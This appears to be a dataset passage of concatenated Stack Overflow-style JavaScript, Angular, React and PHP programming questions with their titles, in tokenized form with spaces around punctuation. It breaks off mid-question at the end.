text-right tLine '' > < /div > < h3 class= '' first-template-paragraphTitle Paragraph-paragraph-title height '' > < div class= '' Text-text-wrapper '' > < div class= '' Text-Text-text '' > { { 'category.PersonalData ' | translate } } < /div > < /div > < /h3 > < /div > < /div > < div pageContent class= '' container-fluid '' > < ng-container > < app-personal-data [ personalData ] = '' personalData '' [ model ] = '' model '' [ id ] = '' id '' > < /app-personal-data > < /ng-container > < /div > < /div > < /div > < ! -- Career Component -- > < ng-container *ngFor= '' let careers of model.careers '' class= '' Unit-unit-unitGroup '' > < div pageContent class= '' col-md-12 '' > < div class= '' row height '' > < div class= '' col-md-4 col-sm-6 text-right tLine '' > < /div > < h3 class= '' first-template-paragraphTitle Paragraph-paragraph-title height '' > < div class= '' Text-text-wrapper '' > < div class= '' Text-Text-text '' > { { 'category.Career ' | translate } } < /div > < /div > < /h3 > < /div > < /div > < div class= '' container-fluid '' pageContent > < ng-container *ngFor= '' let careerObj of careers.subCategories ; let i = index '' > < app-career [ careerObj ] = '' careerObj '' [ id ] = '' i '' [ career ] = '' careers '' [ model ] = '' model '' > < /app-career > < /ng-container > < ng-container *ngFor= '' let emptyObj of careers.emptySubContents ; let iEmpty = index '' > < app-empty-object [ emptyObj ] = '' emptyObj '' [ iEmpty ] = '' iEmpty '' [ model ] = '' model '' [ isFromCareer ] = '' true '' > < /app-empty-object > < /ng-container > < /div > < /ng-container > < ! -- Education Component -- > < ng-container *ngFor= '' let education of model.education '' class= '' Unit-unit-unitGroup '' > < div pageContent [ ngClass ] = '' { 'isCatActive ' : selectedCategory === category.Education } '' > < ng-container *ngIf= '' selectedCategory === category.Education '' clickOutside ( clickOutside ) = '' removeClick ( ) '' > < ul > < li class= '' fa fa-plus addIconTop '' ( click ) = '' openDialog ( ) '' > < /li > < li class= '' fa fa-plus addIconBottom '' ( click ) = '' openDialog ( ) '' > < /li > < li class= '' fa fa-trash deleteIconRight '' ( click ) = '' deleteCategory ( index ) '' > < /li > < li class= '' fa fa-arrow-down moveIconDown '' > < /li > < li class= '' fa fa-arrow-up moveIconTop '' > < /li > < /ul > < /ng-container > < div pageContent class= '' col-md-12 '' ( click ) = '' setCategory ( category.Education ) '' > < div class= '' row height '' > < div class= '' col-md-4 col-sm-6 text-right tLine '' > < /div > < h3 class= '' first-template-paragraphTitle Paragraph-paragraph-title height '' > < div class= '' Text-text-wrapper '' > < div class= '' Text-Text-text '' > { { 'category.Education ' | translate } } < /div > < /div > < /h3 > < /div > < /div > < div pageContent class= '' container-fluid '' > < ng-container *ngFor= '' let educationObj of education.subCategories ; let i = index '' class= '' col-md-12 '' > < app-education [ educationObj ] = '' educationObj '' [ id ] = '' i '' [ education ] = '' education '' [ model ] = '' model '' > < /app-education > < /ng-container > < /div > < /div > < /ng-container > < ! -- Skills Component -- > < ng-container *ngFor= '' let skills of model.skills '' class= '' Unit-unit-unitGroup '' > < div pageContent [ ngClass ] = '' { 'isCatActive ' : selectedCategory === category.Skills } '' > < ng-container clickOutside *ngIf= '' selectedCategory === category.Skills '' ( clickOutside ) = '' removeClick ( ) '' > < ul > < li class= '' fa fa-plus addIconTop '' ( click ) = '' openDialog ( ) '' > < /li > < li class= '' fa fa-plus addIconBottom '' ( click ) = '' openDialog ( ) '' > < /li > < li class= '' fa fa-trash deleteIconRight '' ( click ) = '' deleteCategory ( index ) '' > < /li > < li class= '' fa fa-arrow-down moveIconDown '' > < /li > < li class= '' fa fa-arrow-up moveIconTop '' > < /li > < /ul > < /ng-container > < div pageContent class= '' col-md-12 '' ( click ) = '' setCategory ( category.Skills ) '' > < div class= '' row height '' > < div class= '' col-md-4 col-sm-6 text-right tLine '' > < /div > < h3 class= '' first-template-paragraphTitle Paragraph-paragraph-title height '' > < div class= '' Text-text-wrapper '' > < div class= '' Text-Text-text '' > { { 'category.Skills ' | translate } } < /div > < /div > < /h3 > < /div > < /div > < div pageContent class= '' container-fluid '' > < ng-container *ngFor= '' let skillObj of skills.subCategories ; let i = index '' class= '' col-md-12 '' > < app-skills [ skillObj ] = '' skillObj '' [ id ] = '' i '' [ skills ] = '' skills '' [ model ] = '' model '' > < /app-skills > < /ng-container > < /div > < /div > < /ng-container > < /app-paginated-view > < /div > .A4 { width : 595px ; height : 842px ; padding : 25px 25px ; position : relative ; } { `` personalData '' : [ { `` firstName '' : `` Max '' , `` lastName '' : `` Muster '' , `` email '' : `` max.musterman @ outlook.com '' , `` birthday '' : `` 2020-09-25T00:00:00.000Z '' , `` telephone '' : `` 0123456789 '' , `` job '' : `` Freelancer '' , `` country '' : `` Germany '' , `` postalCode '' : 12345 , `` city '' : `` None '' , `` title '' : 2 , `` gender '' : 0 , `` street '' : `` Musterman 12 '' , `` state '' : `` '' , `` status '' : 1 , `` showBirthday '' : true } ] , `` skills '' : [ { `` subCategories '' : [ { `` languages '' : [ { `` name '' : `` languages.de '' , `` rate '' : 5 } , { `` name '' : `` languages.al '' , `` rate '' : 1 } , { `` name '' : `` languages.en '' , `` rate '' : 5 } , { `` name '' : `` languages.fr '' , `` rate '' : 4 } , { `` name '' : `` languages.it '' , `` rate '' : 4 } ] , `` pcKnowledge '' : [ { `` _id '' : `` 5f5ca07e4dba443f786ea7ae '' , `` name '' : `` Word '' } , { `` _id '' : `` 5f5ca07e4dba443f786ea7af '' , `` name '' : `` Adobe Photoshop '' } , { `` _id '' : `` 5f5fd46bb21df2444c39f317 '' , `` name '' : `` Test '' } , { `` _id '' : `` 5f5fd46bb21df2444c39f318 '' , `` name '' : `` Excel '' } , { `` _id '' : `` 5f5fd46bb21df2444c39f319 '' , `` name '' : `` Ja '' } , { `` _id '' : `` 5f72339552009b4244391972 '' , `` name '' : `` Powerpoint '' } ] , `` skillsOffer '' : [ { `` _id '' : `` 5f4a4e2d718d33092df2c327 '' , `` name '' : `` Angular '' } , { `` _id '' : `` 5f4a4e2d718d33092df2c327 '' , `` name '' : `` Java '' } , { `` _id '' : `` 5f4a4e2d718d33092df2c327 '' , `` name '' : `` Typescript '' } , { `` _id '' : `` 5f4a4e2d718d33092df2c327 '' , `` name '' : `` html '' } , { `` name '' : `` Javascript '' } ] , `` driveLicenses '' : [ { `` _id '' : `` 5f5ca07e4dba443f786ea7ac '' , `` name '' : `` B '' } , { `` _id '' : `` 5f5ca07e4dba443f786ea7ad '' , `` name '' : `` C '' } , { `` _id '' : `` 5f5f204faa5d0205180bd581 '' , `` name '' : `` B '' } ] , `` name '' : `` '' , `` qualifications '' : `` '' } ] } ] } < ! -- display : none style will any child that does not have # pageContent local variable defined -- > < div class= '' content-wrapper '' # contentWrapper style= '' display : block '' > < /div > < div class= '' paginated-view '' # paginatedView > < /div > export class PaginatedViewComponent implements AfterViewInit { @ Input ( ) pageSize : `` A3 '' | `` A4 '' = `` A4 '' ; @ ViewChild ( `` paginatedView '' ) paginatedView : ElementRef < HTMLDivElement > ; @ ViewChild ( `` contentWrapper '' ) contentWrapper : ElementRef < HTMLDivElement > ; @ ContentChildren ( PageContentDirective , { read : ElementRef } ) elements : QueryList < ElementRef > ; constructor ( private changeDetector : ChangeDetectorRef ) { } ngAfterViewInit ( ) : void { this.updatePages ( ) ; // when ever childs updated call the updatePagesfunction this.elements.changes.subscribe ( ( el ) = > { this.updatePages ( ) ; } ) ; } updatePages ( ) : void { // clear paginated view this.paginatedView.nativeElement.innerHTML = `` '' ; // get a new page and add it to the paginated view let page = this.getNewPage ( ) ; this.paginatedView.nativeElement.appendChild ( page ) ; let lastEl : HTMLElement ; // add content childrens to the page one by one this.elements.forEach ( ( elRef ) = > { const el = elRef.nativeElement ; // if the content child height is larger than the size of the page // then do not add it to the page if ( el.clientHeight > page.clientHeight ) { return ; } // add the child to the page page.appendChild ( el ) ; // after adding the child if the page scroll hight becomes larger than the page height // then get a new page and append the child to the new page if ( page.scrollHeight > page.clientHeight ) { page = this.getNewPage ( ) ; this.paginatedView.nativeElement.appendChild ( page ) ; page.appendChild ( el ) ; } lastEl = el ; } ) ; this.changeDetector.detectChanges ( ) ; // bring the element in to view port // lastEl.scrollIntoView ( { behavior : `` smooth '' , block : `` nearest '' } ) ; } getNewPage ( ) : HTMLDivElement { const page = document.createElement ( `` div '' ) ; page.classList.add ( `` page '' ) ; page.classList.add ( this.pageSize ) ; return page ; } } @ Directive ( { // tslint : disable-next-line : directive-selector selector : `` [ pageContent ] '' } ) export class PageContentDirective { }",How to split HTML Page in A4 size in Angular 9 "JS : So I finished reading this article which basically talks about how v8 and other javascript engines internally cache the `` shape '' of objects so that when they need to repeatedly access a particular property on an object , they can just use the direct memory address instead of looking up where in that object 's memory that particular property is.That got me thinking , in React you often declare a component 's state inside the constructor but do n't include all the properties that will eventually be included in the state , for example : Since according to the article , the state object does n't remain a consistent structure , would doing something like this be less efficient than defining all the possible state 's fields in the constructor ? Should you always at least add all the properties even giving them a value of null so that the object is always consistent ? Will it impact performance in any substantial way ? class MyComponent extends React.Component { constructor ( props ) { super ( props ) ; this.state = { hasLoaded : false } ; } componentDidMount ( ) { someAjaxRequest.then ( ( response ) = > { this.setState ( { content : response.body , hasLoaded : true } ) ; } ) ; } render ( ) { return this.state.hasLoaded ? < div > { this.state.content } < /div > : < div > Loading ... < /div > ; } }",Should you define all properties of a component 's state inside the constructor ? "JS : Im using the following open source to unzip file and its working as expected onzip with size 2-5 MB but when I put zip on 10 more MB I got error , there is more stable open source which I can use for large zip files ? I need it to be under MIT license . this is what I 've used https : //github.com/EvanOxfeld/node-unzip var extractor = unzip.Extract ( { path : `` ../ '' } ) ; extractor.on ( `` close '' , function ( ) { console.log ( `` Success unzip '' ) ; } ) ; extractor.on ( `` close '' , function ( err ) { console.log ( err ) ; } ) ; req.pipe ( extractor ) ;",Error while using unzip with 12mb file size "JS : I have noticed that PHP and JavaScript treat octal and hexadecimal numbers with some difficulty while type juggling and casting : PHP : JavaScript : I know that PHP has the octdec ( ) and hexdec ( ) functions to remedy the octal/hexadecimal misbehaviour , but I 'd expect the intval ( ) to deal with octal and hexadecimal numbers just as JavaScript 's parseInt ( ) does.Anyway , what is the rationale behind this odd behaviour ? echo 16 == '0x10 ' ? 'true ' : 'false ' ; //true , as expectedecho 8 == '010 ' ? 'true ' : 'false ' ; //false , o_Oecho ( int ) '0x10 ' ; //0 , o_Oecho intval ( '0x10 ' ) ; //0 , o_Oecho ( int ) '010 ' ; //10 , o_Oecho intval ( '010 ' ) ; //10 , o_O console.log ( 16 == '0x10 ' ? 'true ' : 'false ' ) ; //true , as expectedconsole.log ( 8 == '010 ' ? 'true ' : 'false ' ) ; //false , o_Oconsole.log ( parseInt ( '0x10 ' ) ) ; //16 , as expectedconsole.log ( parseInt ( '010 ' ) ) ; //8 , as expectedconsole.log ( Number ( '0x10 ' ) ) ; //16 , as expectedconsole.log ( Number ( '010 ' ) ) ; //10 , o_O",Why do PHP and JavaScript have problems dealing with octal and hexadecimal numbers ? "JS : When passing parameters to next ( ) of ES6 generators , why is the first value ignored ? More concretely , why does the output of this say x = 44 instead of x = 43 : My mental model for the behavior of such a generator was something like : return foo1 and pause at yield ( and the next call which returns foo1 takes as argument 42 ) pause until next call to nexton next yield proceed to the line with var x = 1 + 42 because this was the argument previously receivedprint x = 43just return a { done : true } from the last next , ignoring its argument ( 43 ) and stop.Now , obviously , this is not what 's happening . So ... what am I getting wrong here ? function* foo ( ) { let i = 0 ; var x = 1 + ( yield `` foo '' + ( ++i ) ) ; console.log ( ` x = $ { x } ` ) ; } fooer = foo ( ) ; console.log ( fooer.next ( 42 ) ) ; console.log ( fooer.next ( 43 ) ) ; // output : // { value : 'foo1 ' , done : false } // x = 44// { value : undefined , done : true }",ES6 generators mechanism - first value passed to next ( ) goes where ? "JS : I have a little script i made but im wondering if its possible for me to trigger a link on the page with just jQuery.JSHTML var vars = [ ] , hash ; var hashes = window.location.href.slice ( window.location.href.indexOf ( ' ? ' ) + 1 ) .split ( ' & ' ) ; for ( var i = 0 ; i < hashes.length ; i++ ) { hash = hashes [ i ] .split ( '= ' ) ; vars.push ( hash [ 0 ] ) ; vars [ hash [ 0 ] ] = hash [ 1 ] ; } $ ( ' a.more ' ) .each ( function ( ) { var self = this ; if ( vars [ 'deeplink ' ] == 'true ' ) { /* this must trigger the link and that will trigger $ ( self ) .click */ } $ ( self ) .click ( function ( ) { var theid = self.href.split ( ' # ' ) .pop ( ) ; var row = document.getElementById ( 'info-art ' + theid ) ; var now = typeof ( row.style.display ) ! = 'undefined ' ? row.style.display : 'none ' ; $ ( 'tr.info ' ) .each ( function ( ) { this.style.display = 'none ' ; } ) ; if ( now == 'none ' ) { row.style.display = $ .browser.msie ? 'block ' : 'table-row ' ; } } ) ; } ) ; < td > < a class= '' more '' href= '' # 8714681006955 '' > [ + ] < /a > < /td >",Clicking a link with jQuery "JS : Javascript 's super keyword , when I run the code on Chrome , Babel , TypeScript , I got different results.My question is which result is correct ? And what part of specification defines such behavior ? The following code : The results : Chrome 58.0.3029.110 64bit ( V8 5.8.283.38 ) Babel Repl 6.24.2TypeScript 2.3links : gistbabel class Point { getX ( ) { console.log ( this.x ) ; // C } } class ColorPoint extends Point { constructor ( ) { super ( ) ; this.x = 2 ; super.x = 3 ; console.log ( this.x ) // A console.log ( super.x ) // B } m ( ) { this.getX ( ) } } const cp = new ColorPoint ( ) ; cp.m ( ) ;",ES6 inheritance : uses ` super ` to access the properties of the parent class "JS : I currently have 2 obj and using the jquery extend function , however it 's overriding value from keys with the same name . How can I add the values together instead ? And I get obj1 = { `` orange '' :5 , '' apple '' :1 , `` grape '' :1 , `` banana '' :1 } What I need is obj1 = { `` orange '' :7 , '' apple '' :2 , `` grape '' :1 , `` banana '' :1 } var obj1 = { `` orange '' : 2 , `` apple '' : 1 , `` grape '' : 1 } ; var obj2 = { `` orange '' : 5 , `` apple '' : 1 , `` banana '' : 1 } ; mergedObj = $ .extend ( { } , obj1 , obj2 ) ; var printObj = typeof JSON ! = `` undefined '' ? JSON.stringify : function ( obj ) { var arr = [ ] ; $ .each ( obj , function ( key , val ) { var next = key + `` : `` ; next += $ .isPlainObject ( val ) ? printObj ( val ) : val ; arr.push ( next ) ; } ) ; return `` { `` + arr.join ( `` , `` ) + `` } '' ; } ; console.log ( 'all together : ' + printObj ( mergedObj ) ) ;",How to $ .extend 2 objects by adding numerical values together from keys with the same name ? "JS : I 'm currently working on a port of CKEditor into concrete5 . As part of that , concrete5 has the ability to create `` Snippets '' which can be inserted via the editor . Developers have the ability to define what kind of HTML output these widgets produce but while in edit mode , it simply shows a place holder with the following HTML : I 've looked into CKEditor widgets , but do n't necessarily want to clutter my toolbar with a potentially large number of buttons to activate such functionaity . I 'm curious if it 's possible to add something to the stylescombo dropdown ( or similar dropdown ) which would then insert a snippet like the one above.Currently what I have to try and do this can be found at https : //github.com/ExchangeCore/Concrete5-CKEditor/blob/feature/magicstyles/assets/concrete5styles/plugin.js # L17-L30 This does n't quite work because I have no way to insert the selectedSnippet.scsName into the innerHTML of the style . Is there some way to do this or some other more obvious way to go about this kind of insert functionality within CKEditor without making tons of toolbar buttons ? Also , the content of that span should be able to be removed , but not editable . ' < span class= '' ccm-content-editor-snippet '' contenteditable= '' false '' data-scsHandle= '' ' + selectedSnippet.scsHandle + ' '' > ' + selectedSnippet.scsName + ' < /span > '",CKEditor Insert non editable HTML within style "JS : I am quite new to angular and can not find a solution to access the submenu items in my angular app . I can access the top level menu items but am lost as to how to get the second level itemsbelow is my code so farhtmljavascriptjson < ! DOCTYPE html > < html > < head > < script src= '' http : //ajax.googleapis.com/ajax/libs/angularjs/1.2.0-rc.3/angular.min.js '' > < /script > < script src= '' app.js '' > < /script > < /head > < body ng-app= '' list '' > < div ng-controller= '' ListCtrl '' > < ul > < li ng-repeat= '' menu in menus '' id= '' { { artist.id } } '' > < a ng-href= '' { { menu.content } } '' > { { menu.description } } < /a > < ul > < li ng-href= '' { { menu.content } } '' > { { menu.menu } } < /li > < /ul > < /li > < /ul > < /div > < /html > // Code goes hereangular.module ( 'list ' , [ ] ) ; function ListCtrl ( $ scope , $ http ) { $ http ( { method : 'GET ' , url : 'menu.json ' } ) .success ( function ( data ) { $ scope.menus = data.menus ; // response data angular.forEach ( data.menus , function ( menu , index ) { } ) ; } ) ; } { `` menus '' : [ { `` id '' : '' contact '' , `` leaf '' : true , `` description '' : '' Contact Us '' , `` link '' : '' '' , `` content '' : '' contactUs.html '' , `` cssClass '' : '' static-content '' , `` menu '' : null } , { `` id '' : '' rules '' , `` leaf '' : false , `` description '' : '' Sports Betting Rules '' , `` link '' : '' '' , `` content '' : '' '' , `` cssClass '' : '' '' , `` menu '' : [ { `` id '' : '' types '' , `` leaf '' : true , `` description '' : '' Wager Types '' , `` link '' : '' '' , `` content '' : '' wagerTypes.html '' , `` cssClass '' : '' static-content wager-types '' , `` menu '' : null } , { `` id '' : '' odds '' , `` leaf '' : true , `` description '' : '' Odds & Lines '' , `` link '' : '' '' , `` content '' : '' oddsAndLines.html '' , `` cssClass '' : '' static-content '' , `` menu '' : null } , { `` id '' : '' policies '' , `` leaf '' : true , `` description '' : '' Rules & Policies '' , `` link '' : '' '' , `` content '' : '' rulesAndPolicies.html '' , `` cssClass '' : '' static-content rules-policies '' , `` menu '' : null } , { `` id '' : '' bonuses '' , `` leaf '' : true , `` description '' : '' Sports Bonuses '' , `` link '' : '' '' , `` content '' : '' sportsBonuses.html '' , `` cssClass '' : '' static-content '' , `` menu '' : null } ] } , { `` id '' : '' conditions '' , `` leaf '' : false , `` description '' : '' Terms & Conditions '' , `` link '' : '' '' , `` content '' : '' '' , `` cssClass '' : '' '' , `` menu '' : [ { `` id '' : '' termsOfService '' , `` leaf '' : true , `` description '' : '' Terms of Service '' , `` link '' : '' '' , `` content '' : '' termsOfService.html '' , `` cssClass '' : '' static-content '' , `` menu '' : null } , { `` id '' : '' privacy '' , `` leaf '' : true , `` description '' : '' Privacy Policy '' , `` link '' : '' '' , `` content '' : '' privacy.html '' , `` cssClass '' : '' static-content '' , `` menu '' : null } ] } , { `` id '' : '' view '' , `` leaf '' : true , `` description '' : '' View in : Mobile | Full Site '' , `` link '' : '' '' , `` content '' : '' view.html '' , `` cssClass '' : '' static-content '' , `` menu '' : null } ] }",accessing nested menu items in the scope using json and angularJs JS : I have been trying to get refresh token from google api using javascript google client `` code `` that google return from client side . It returns me the code which i send to the server side . Now from server side i am sending the code to get the refresh token and access token using using google-api-php-client with this call : While i use the same code from google playground i get the response with refresh token as well but i do not get it from my own server..This is the code I have set access type to offline as mentioned in some answers but still i get the response with our refresh token.. this is the response https : //www.googleapis.com/oauth2/v4/token public function getRefreshToken ( $ code ) { $ client = new Google_Client ( ) ; $ client- > setClientId ( config ( 'services.google.client_id ' ) ) ; $ client- > setClientSecret ( config ( 'services.google.client_secret ' ) ) ; $ client- > setRedirectUri ( 'postmessage ' ) ; $ client- > setScopes ( config ( 'services.google.scopes ' ) ) ; $ client- > setAccessType ( `` offline '' ) ; $ client- > setApprovalPrompt ( `` force '' ) ; dd ( $ client- > authenticate ( $ code ) ) ; dd ( $ client- > getRefreshToken ( ) ) ; return ; } access_token : '' xxxxxxxxxxxxxxxxxxxxxx '' created:1510242052expires_in:3598id_token : '' xxxxxxxx '' token_type : '' Bearer '',Google api php client code not return refresh token "JS : I have written the following code to implement logging in a separate js file logger.js by using OOP . I am using it from another js file , site.js as : I was wondering If I have implemented the Logger class in proper way , by maintaining OOP of JavaScript.Will it handle the scenario where the browser do n't have any console ? How can I make init ( ) method inaccessible from other js file or method ? I mean how can I make it private ? Any pointer would be very helpful to me.UpdateFrom another SO thread I found information about private method and I changed my approach : But in this case I am getting error that init is not defined . var console ; function Logger ( ) { init ( ) ; } var init = function ( ) { if ( ! window.console ) { console = { log : function ( message ) { } , info : function ( message ) { } , warn : function ( message ) { } , error : function ( message ) { } } ; } else { console = window.console ; } } ; Logger.prototype.log = function ( message ) { console.log ( message ) ; } Logger.prototype.logInfo = function ( message ) { console.info ( message ) ; } Logger.prototype.logWarn = function ( message ) { console.warn ( message ) ; } Logger.prototype.logError = function ( message ) { console.error ( message ) ; } var logger = new Logger ( ) ; //global variablevar getComponentById = function ( id ) { var component = null ; if ( id ) { try { component = AdfPage.PAGE.findComponentByAbsoluteId ( id ) ; } catch ( e ) { logger.logError ( e ) ; } } return component ; } function Logger ( ) { init ( ) ; } Logger.prototype = ( function ( ) { var console ; var init = function ( ) { if ( ! window.console ) { this.console = { log : function ( message ) { } , info : function ( message ) { } , warn : function ( message ) { } , error : function ( message ) { } } ; } else { this.console = window.console ; } } ; return { constructor : Logger , log : function ( message ) { this.console.log ( message ) ; } , logInfo : function ( message ) { this.console.info ( message ) ; } , logWarn : function ( message ) { this.console.warn ( message ) ; } , logError : function ( message ) { this.console.error ( message ) ; } } ; } ) ( ) ;",JavaScript OOP : Implementation of Logging "JS : I want to set two properties equal to each other in one object . Here 's an example : Obviously that does n't work and I have to do something like this : Is there any way to do that in the declaration ? var obj = { // I want to do something like this a : function ( ) { ... } , b : alert , c : a } ; var obj = { a : function ( ) { ... } , b : alert , } ; obj.c = obj.a ;",Setting two properties equal in the declaration "JS : I was doing a test in JavaScript and I noticed that using the let keyword likedid not add a variable property to the window object . Does this mean that it does not exist in the global scope ? Could I declare variables without having to scope them inside a function or an IIFE ? I did search for this but could not find anything . Everyone says to use functions like { } ( ) or simply access a unique global variable that contains the code , but seeing this made me wonder if it could be used for the purpose of avoiding these things . let variable = `` I am a variable '' ; console.log ( window.variable ) ;",Can the `` let '' keyword be used in JavaScript to avoid global-scoped variables ? JS : Is there any way to get notified when a CSSStyleDeclaration object gets changed just like DOM changes which can be tracked using events like DomAttrModified ? So if there for example was some JS code likeis there any way to get notified about that change in a JS handler without changing the code snippet above at all ? Thanks in advance ! document.styleSheets [ 0 ] .rules [ 0 ] .style.backgroundImage = `` url ( myimage.png ) '' ;,Detect changes of CSSStyleDeclaration object in JS "JS : I was reading through Eloquent JavaScript , when I came across this in chapter 5. : you can have functions that create new functions . And you can have functions that change other functions.My questions are : How are the above two examples different ? How does noisy change Boolean ? function greaterThan ( n ) { return function ( m ) { return m > n ; } ; } var greaterThan10 = greaterThan ( 10 ) ; function noisy ( f ) { return function ( arg ) { console.log ( `` calling with '' , arg ) ; var val = f ( arg ) ; console.log ( `` called with '' , arg , `` - got '' , val ) ; return val ; } ; } noisy ( Boolean ) ( 0 ) ; //- > calling with 0//- > called with 0 - got false",Explain `` you can have functions that change other functions '' "JS : Quick question that I have n't really had a chance to look into . Which is more performant when used in a call/apply sort of context : Array.prototype vs [ ] ? e.g . : My thoughts : I would assume the Array.prototype way is more performant because a prototype function can be reused and no literal need be created . Not really sure though.Using JSPerf ( with chrome ) it looks like the Array.prototype is indeed slightly more performant : http : //jsperf.com/array-perf-prototype-vs-literal function test1 ( ) { return Array.prototype.splice.apply ( arguments , [ 1 , 2 ] ) ; } test1 ( [ 1,2,3,4,5,6,7,8,9 ] ) ; function test2 ( ) { return [ ] .splice.apply ( arguments , [ 1 , 2 ] ) ; } test1 ( [ 1,2,3,4,5,6,7,8,9 ] ) ;",Array.prototype vs [ ] perf "JS : I just saw this code in this other question and i do n't understand how it works : I understand something like this : but never saw { foo = > < Bar bar= { bar } / > } in render before , can someone help me understand this ? let Parent = ( ) = > ( < ApiSubscribe > { api = > < Child api= { api } / > } < /ApiSubscribe > ) let Parent = ( { api } ) = > ( < ApiSubscribe > < Child api= { api } / > < /ApiSubscribe > )",JSX syntax arrow function inside render "JS : I have a very basic http server : How can I listen for server crashes so I can send a 500 status code in response ? Listening for process.on ( `` uncaughtException '' , handler ) works at process level , but I do n't have the request and response objects.A possible solution I see is using try - catch statements inside of createServer callback , but I 'm looking if there are better solutions.I tried listening for error event on server object , but nothing happens : require ( `` http '' ) .createServer ( function ( req , res ) { res.end ( `` Hello world ! `` ) ; } ) .listen ( 8080 ) ; var s = require ( `` http '' ) .createServer ( function ( req , res ) { undefined.foo ; // test crash res.end ( `` Hello world ! `` ) ; } ) ; s.on ( `` error '' , function ( ) { console.log ( arguments ) ; } ) ; s.listen ( 8080 ) ;",Handle http server crashes "JS : I have a php page which contains this block of code : Buttan that calls CreatePopup ( ) : I am opening this div as a popup by using the following code : Code that gets the textbox values from the popup : Screenshot : Whenever I call GetAddData ( ) and insert text in the popup box and click the button , the values remain null . Why is this happening ? How can I get the textbox values ? I am using Pear PHP and a modified version of OpenIT ( and old asset management CMS ) . echo ' < div id= '' popup '' style= '' display : none '' > ' ; echo ' < form id= '' AddForm '' name= '' AddForm '' method= '' get '' > ' ; echo ' < table > < tr > ' ; echo ' < td > Software Name : < /td > < td > < input type= '' text '' id= '' SoftwareName '' / > < /td > < /tr > ' ; echo ' < tr > < td > Software Type : < /td > < td > < input type= '' text '' id= '' SoftwareType '' / > < /td > < /tr > ' ; echo ' < tr > < td > License Method : < /td > < td > < input type= '' text '' id= '' LicenseMethod '' / > < /td > < /tr > ' ; echo ' < tr > < td > < input type= '' button '' value= '' Add '' OnClick= '' opener.GetAddData ( ) ; '' > < /td > < td > < /td > ' ; echo ' < /tr > < /table > ' ; echo ' < /form > ' ; echo ' < /div > ' ; echo `` < input type='submit ' value='Add ' OnClick='CreatePopup ( ) ; '/ > '' ; function CreatePopup ( ) { var w = null ; w = window.open ( 'index.php ? List=SoftwareLicenseAllocations ' , 'test ' , 'height=125 , width=300 ' ) ; w.document.write ( $ ( `` # popup '' ) .html ( ) ) ; w.document.close ( ) ; } function GetAddData ( ) { var SoftwareName = document.getElementById ( 'SoftwareName ' ) .value ; //.getElementById ( 'SoftwareName ' ) .value ; var SoftwareType = document.getElementById ( 'SoftwareType ' ) .value ; var LicenseMethod =document.getElementById ( 'LicenseMethod ' ) .value ; alert ( SoftwareName , SoftwareType , LicenseMethod ) ; AddNew ( SoftwareName , SoftwareType , LicenseMethod ) ; }",Texbox value in popup remains null JS : I have found this crazy javascript code.Can someone elaborate the exact steps this code is going through and why ? ( function a ( a ) { return a ; } ) ( function b ( b ) { return b ; } ) ( function c ( c ) { return c ; } ) ( true ) ;,How ( e.g . in what order ) does this code run and what does it do ? "JS : According to https : //developers.facebook.com/docs/reference/javascript/FB.logout/ The method FB.logout ( ) logs the user out of your sitewhat does this mean in terms of later calls to FB . * functions ? Specifically , I 'm observing that even though the response to FB.logout has a status of `` unknown '' , after the logout has completed , calling FB.getLoginStatus returns a status of `` connected '' , when passing true as a second parameter or after a page refresh.This is unexpected to me ... perhaps I 'm misunderstanding what `` logs the user out of your site '' means : what does it mean in terms of the FB . * functions ? I 'm looking to , as best as possible , reverse the process of FB.login . How can this be done ? Update : I was testing at http : //localhost:8080 . When on http : //fbtest.charemza.name/ I realise logout works as I expect , but logout on localhost:8080 logout does not seem to work , i.e . exhibits the problem above . To be clear , no errors appear in the console at any point . The code of the page is below.To change the question slightly , why does it do this on localhost:8080 , and is there a way to develop logout locally where the behaviour is the same as on the public web ? < ! doctype html > < html lang= '' en '' > < head > < meta charset= '' utf-8 '' > < title > Facebook Test < /title > < /head > < body > < script > window.fbAsyncInit = function ( ) { FB.init ( { appId : '1524395480985654 ' , cookie : true , xfbml : false , status : false , version : 'v2.10 ' } ) ; FB.AppEvents.logPageView ( ) ; } ; ( function ( d , s , id ) { var js , fjs = d.getElementsByTagName ( s ) [ 0 ] ; if ( d.getElementById ( id ) ) { return ; } js = d.createElement ( s ) ; js.id = id ; js.src = `` https : //connect.facebook.net/en_US/sdk.js '' ; fjs.parentNode.insertBefore ( js , fjs ) ; } ( document , 'script ' , 'facebook-jssdk ' ) ) ; document.addEventListener ( `` DOMContentLoaded '' , function ( event ) { document.getElementById ( `` loginButton '' ) .addEventListener ( `` click '' , function ( ) { FB.login ( function ( response ) { console.log ( 'FB.login ' , response ) ; } ) ; } ) ; document.getElementById ( `` logoutButton '' ) .addEventListener ( `` click '' , function ( ) { FB.logout ( function ( response ) { console.log ( 'FB.logout ' , response ) ; } ) ; } ) ; document.getElementById ( `` getLoginStatusButton '' ) .addEventListener ( `` click '' , function ( ) { FB.getLoginStatus ( function ( response ) { console.log ( 'FB.getLoginStatus ' , response ) ; } , true ) ; } ) ; } ) ; < /script > < button id= '' loginButton '' > FB.login ( ) < /button > < button id= '' logoutButton '' > FB.logout ( ) < /button > < button id= '' getLoginStatusButton '' > FB.checkLoginStatus ( ) < /button > < /body > < /html >",FB.logout : what should it do in term of later calls to FB.getLoginStatus ? "JS : I would like to log a quick separator to the console in each QUnit test like this : How can I get the title ( maybe also called `` name '' ) of the test ? test ( `` hello test '' , function ( ) { testTitle = XXX ; // get `` hello test '' here console.log ( `` ========= `` + testTitle + `` ============== '' ) ; // my test follows here } ) ;",get title ( name ) of currently running QUnit test "JS : In the code example below the success callback function logs 'input # 04.update ' four times rather than each individual input , which makes sense seeing how closures work but how would I go about targeting each individual input using this . < input type= '' text '' name= '' '' id= '' 01 '' class= '' update '' > < input type= '' text '' name= '' '' id= '' 02 '' class= '' update '' > < input type= '' text '' name= '' '' id= '' 03 '' class= '' update '' > < input type= '' text '' name= '' '' id= '' 04 '' class= '' update '' > function updateFields ( ) { $ ( 'input.update ' ) .each ( function ( ) { $ this = $ ( this ) ; $ .ajax ( { data : 'id= ' + this.id , success : function ( resp ) { console.log ( $ this ) ; $ this.val ( resp ) } } ) ; } ) ; }",AJAX Closures and targeting 'this ' "JS : I am new to react js . Here , I am trying to sort the data when the user clicks on the icons.So , Now I have data which is in the form of an array of objects.In this , I have 5 columns and sort icon is on every column . So , How do I Implement this thing using the react ? I want to sort using the alphabetical order.My data looks like , This is how I render the data . Now , By default , I sort it using the So , How do I implement this ? What I did is , then in containerpassed as a props.Now in action , In reducer , ×I am getting this error . < th scope= '' col '' > Technology < i className= '' fa fa-fw fa-sort sort-icon '' > < /i > < /th > [ { `` id 